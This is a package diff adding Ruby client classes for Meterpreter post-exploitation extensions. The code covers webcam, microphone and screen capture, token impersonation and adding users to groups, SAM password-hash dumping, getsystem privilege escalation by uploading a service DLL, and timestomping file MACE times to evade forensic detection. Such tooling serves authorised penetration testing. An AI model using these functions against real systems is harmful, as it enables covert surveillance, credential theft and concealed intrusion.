librex 0.0.1

data/lib/rex/post/meterpreter/dependencies.rb

@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+
+require 'rex/post/permission'

data/lib/rex/post/meterpreter/extension.rb

@@ -0,0 +1,32 @@
+#!/usr/bin/env ruby
+
+module Rex
+module Post
+module Meterpreter
+
+###
+#
+# Base class for all extensions that holds a reference to the
+# client context that they are part of.  Each extension also has a defined
+# name through which it is referenced.
+#
+###
+class Extension
+
+	#
+	# Initializes the client and name attributes.
+	#
+	def initialize(client, name)
+		self.client = client
+		self.name   = name
+	end
+
+	#
+	# The name of the extension.
+	#
+	attr_accessor :name
+protected
+	attr_accessor :client # :nodoc:
+end
+
+end; end; end

data/lib/rex/post/meterpreter/extensions/espia/espia.rb

@@ -0,0 +1,58 @@
+#!/usr/bin/env ruby
+
+require 'rex/post/meterpreter/extensions/espia/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Espia
+
+###
+#
+# This meterpreter extensions interface that is capable
+# grab webcam frame and recor mic audio
+#
+###
+class Espia < Extension
+
+
+	def initialize(client)
+		super(client, 'espia')
+
+		client.register_extension_aliases(
+			[
+				{ 
+					'name' => 'espia',
+					'ext'  => self
+				},
+			])
+	end
+
+	def espia_video_get_dev_image()
+		request = Packet.create_request('espia_video_get_dev_image')
+		response = client.send_request(request)
+		
+		return true
+	end
+	
+	def espia_audio_get_dev_audio(rsecs)
+		request = Packet.create_request('espia_audio_get_dev_audio')
+		request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
+		response = client.send_request(request)
+	
+		return true
+	end
+	
+	def espia_image_get_dev_screen
+		request  = Packet.create_request( 'espia_image_get_dev_screen' )    
+		response = client.send_request( request )
+		if( response.result == 0 )
+			return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
+		end
+		return nil
+	end
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/espia/tlv.rb

@@ -0,0 +1,16 @@
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Espia
+
+TLV_TYPE_DEV_IMAGE = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 911)
+TLV_TYPE_DEV_AUDIO = TLV_META_TYPE_STRING| (TLV_EXTENSIONS + 912)
+TLV_TYPE_DEV_SCREEN = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 913)
+TLV_TYPE_DEV_RECTIME = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 914)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb

@@ -0,0 +1,94 @@
+#!/usr/bin/env ruby
+
+require 'rex/post/meterpreter/extensions/incognito/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Incognito
+
+###
+#
+# This meterpreter extensions a privilege escalation interface that is capable
+# of doing things like dumping password hashes and performing local
+# exploitation.
+#
+###
+class Incognito < Extension
+
+
+	def initialize(client)
+		super(client, 'incognito')
+
+		client.register_extension_aliases(
+			[
+				{ 
+					'name' => 'incognito',
+					'ext'  => self
+				},
+			])
+	end
+
+
+	def incognito_list_tokens(token_order)
+		request = Packet.create_request('incognito_list_tokens')
+		request.add_tlv(TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER, token_order)
+
+		response = client.send_request(request)
+		
+		return {
+			'delegation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION),
+			'impersonation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION) 
+		}
+	end
+
+	def incognito_impersonate_token(username)
+		request = Packet.create_request('incognito_impersonate_token')
+		request.add_tlv(TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN, username)
+		response = client.send_request(request)
+
+		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+	end
+
+	def incognito_add_user(host, username, password)
+		request = Packet.create_request('incognito_add_user')
+		request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
+		request.add_tlv(TLV_TYPE_INCOGNITO_PASSWORD, password)
+		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+		response = client.send_request(request)
+
+		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+	end
+
+	def incognito_add_group_user(host, groupname, username)
+		request = Packet.create_request('incognito_add_group_user')
+		request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
+		request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
+		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+		response = client.send_request(request)
+
+		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+	end
+
+	def incognito_add_localgroup_user(host, groupname, username)
+		request = Packet.create_request('incognito_add_localgroup_user')
+		request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
+		request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
+		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+		response = client.send_request(request)
+
+		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+	end
+
+	def incognito_snarf_hashes(host)
+		request = Packet.create_request('incognito_snarf_hashes')
+		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+		response = client.send_request(request)
+
+		return true
+	end
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb

@@ -0,0 +1,21 @@
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Incognito
+
+TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION        	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
+TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION        	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
+TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER       	= TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 4)
+TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
+TLV_TYPE_INCOGNITO_GENERIC_RESPONSE    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 6)
+TLV_TYPE_INCOGNITO_USERNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 7)
+TLV_TYPE_INCOGNITO_PASSWORD    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
+TLV_TYPE_INCOGNITO_SERVERNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
+TLV_TYPE_INCOGNITO_GROUPNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/priv/fs.rb

@@ -0,0 +1,118 @@
+#!/usr/bin/env ruby
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Priv
+
+###
+#
+# This class provides an interface to modifying the file system to avoid
+# detection, such as by modifying extended file system attributes.
+#
+###
+class Fs
+
+	#
+	# Initializes the file system subsystem of the privilege escalation
+	# extension.
+	#
+	def initialize(client)
+		self.client = client
+	end
+
+	#
+	# Returns a hash of the Modified, Accessed, Created, and Entry Modified
+	# values for the specified file path.
+	#
+	def get_file_mace(file_path)
+		request = Packet.create_request('priv_fs_get_file_mace')
+
+		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+
+		response = client.send_request(request)
+
+		# Return the hash of times associated with the MACE values
+		begin
+			return {
+				'Modified'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_MODIFIED)),
+				'Accessed'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_ACCESSED)),
+				'Created'        => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_CREATED)),
+				'Entry Modified' => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_EMODIFIED))
+			}
+		rescue RangeError
+			raise RangeError, "Invalid MACE values"
+		end
+	end
+
+	#
+	# Sets the Modified, Accessed, Created, and Entry Modified attributes of
+	# the specified file path.  If a nil is supplied for a value, it will not
+	# be modified.  Otherwise, the times should be instances of the Time class.
+	#
+	def set_file_mace(file_path, modified = nil, accessed = nil, created = nil,
+		entry_modified = nil)
+		request = Packet.create_request('priv_fs_set_file_mace')
+
+		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+		request.add_tlv(TLV_TYPE_FS_FILE_MODIFIED, modified.to_i) if (modified)
+		request.add_tlv(TLV_TYPE_FS_FILE_ACCESSED, accessed.to_i) if (accessed)
+		request.add_tlv(TLV_TYPE_FS_FILE_CREATED, created.to_i) if (created)
+		request.add_tlv(TLV_TYPE_FS_FILE_EMODIFIED, entry_modified.to_i) if (entry_modified)
+
+		client.send_request(request)
+
+		true
+	end
+
+	#
+	# Sets the MACE attributes of the specified target_file_path to the MACE
+	# attributes of the source_file_path.
+	#
+	def set_file_mace_from_file(target_file_path, source_file_path)
+		request = Packet.create_request('priv_fs_set_file_mace_from_file')
+
+		request.add_tlv(TLV_TYPE_FS_FILE_PATH, target_file_path)
+		request.add_tlv(TLV_TYPE_FS_SRC_FILE_PATH, source_file_path)
+
+		client.send_request(request)
+
+		true
+	end
+
+	#
+	# Sets the MACE values to the minimum threshold that will cause them to not
+	# be displayed by most all products for a file.
+	#
+	def blank_file_mace(file_path)
+		request = Packet.create_request('priv_fs_blank_file_mace')
+
+		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+
+		client.send_request(request)
+
+		true
+	end
+
+	#
+	# Recursively set the MACE values to the minimum threshold for the supplied
+	# directory.
+	#
+	def blank_directory_mace(dir_path)
+		request = Packet.create_request('priv_fs_blank_directory_mace')
+
+		request.add_tlv(TLV_TYPE_FS_FILE_PATH, dir_path)
+
+		client.send_request(request)
+
+		true
+	end
+
+protected
+
+	attr_accessor :client # :nodoc:
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/priv/passwd.rb

@@ -0,0 +1,61 @@
+#!/usr/bin/env ruby
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Priv
+
+###
+#
+# This class wraps a SAM hash entry.
+#
+###
+class SamUser
+
+	#
+	# Initializes the class from a hash string like this:
+	#
+	# Administrator:500:aad3b435b51404eeaadfb435b51404ee:31d6cfe0d16de931b73c59d7e0c089c0:::
+	#
+	def initialize(hash_str)
+		self.user_name, self.user_id, self.lanman, self.ntlm = hash_str.split(/:/)
+
+		self.hash_string = hash_str
+	end
+
+	#
+	# Returns the hash string that was supplied to the constructor.
+	#
+	def to_s
+		hash_string
+	end
+
+	#
+	# The raw hash string that was passed to the class constructor.
+	#
+	attr_reader :hash_string
+	#
+	# The username from the SAM database entry.
+	#
+	attr_reader :user_name
+	#
+	# The user's unique identifier from the SAM database.
+	#
+	attr_reader :user_id
+	#
+	# The LM hash.
+	#
+	attr_reader :lanman
+	#
+	# The NTLM hash.
+	#
+	attr_reader :ntlm
+
+protected
+
+	attr_writer :hash_string, :user_name, :user_id, :lanman, :ntlm # :nodoc:
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/priv/priv.rb

@@ -0,0 +1,104 @@
+#!/usr/bin/env ruby
+
+require 'rex/post/meterpreter/extensions/priv/tlv'
+require 'rex/post/meterpreter/extensions/priv/passwd'
+require 'rex/post/meterpreter/extensions/priv/fs'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Priv
+
+###
+#
+# This meterpreter extensions a privilege escalation interface that is capable
+# of doing things like dumping password hashes and performing local
+# exploitation.
+#
+###
+class Priv < Extension
+
+	#
+	# Initializes the privilege escalationextension.
+	#
+	def initialize(client)
+		super(client, 'priv')
+		
+		client.register_extension_aliases(
+			[
+				{ 
+					'name' => 'priv',
+					'ext'  => self
+				},
+			])
+
+		# Initialize sub-classes
+		self.fs = Fs.new(client)
+	end
+	
+	#
+	# Attempt to elevate the meterpreter to Local SYSTEM
+	#
+	def getsystem( technique=0 )
+		request = Packet.create_request( 'priv_elevate_getsystem' )
+		
+		elevator_name = Rex::Text.rand_text_alpha_lower( 6 ) 
+		
+		if( client.platform == 'x64/win64' )
+			elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
+		else
+			elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
+		end
+		
+		elevator_path = ::File.expand_path( elevator_path )
+		
+		elevator_data = ""
+		
+		::File.open( elevator_path, "rb" ) { |f|
+			elevator_data += f.read( f.stat.size )
+		}
+
+		request.add_tlv( TLV_TYPE_ELEVATE_TECHNIQUE, technique )
+		request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_NAME, elevator_name )
+		request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data )
+		request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length )
+		
+		# as some service routines can be slow we bump up the timeout to 90 seconds
+		response = client.send_request( request, 90 )
+		
+		technique = response.get_tlv_value( TLV_TYPE_ELEVATE_TECHNIQUE )
+		
+		if( response.result == 0 and technique != nil )
+			client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
+			client.sys.config.getprivs
+			return [ true, technique ]
+		end
+		
+		return [ false, 0 ]
+	end
+	
+	#
+	# Returns an array of SAM hashes from the remote machine.
+	#
+	def sam_hashes
+		response = client.send_request(
+			Packet.create_request('priv_passwd_get_sam_hashes'))
+
+		response.get_tlv_value(TLV_TYPE_SAM_HASHES).split(/\n/).map { |hash| 
+			SamUser.new(hash)
+		}
+	end
+
+	#
+	# Modifying privileged file system attributes.
+	#
+	attr_reader :fs
+
+protected
+
+	attr_writer :fs # :nodoc:
+
+end
+
+end; end; end; end; end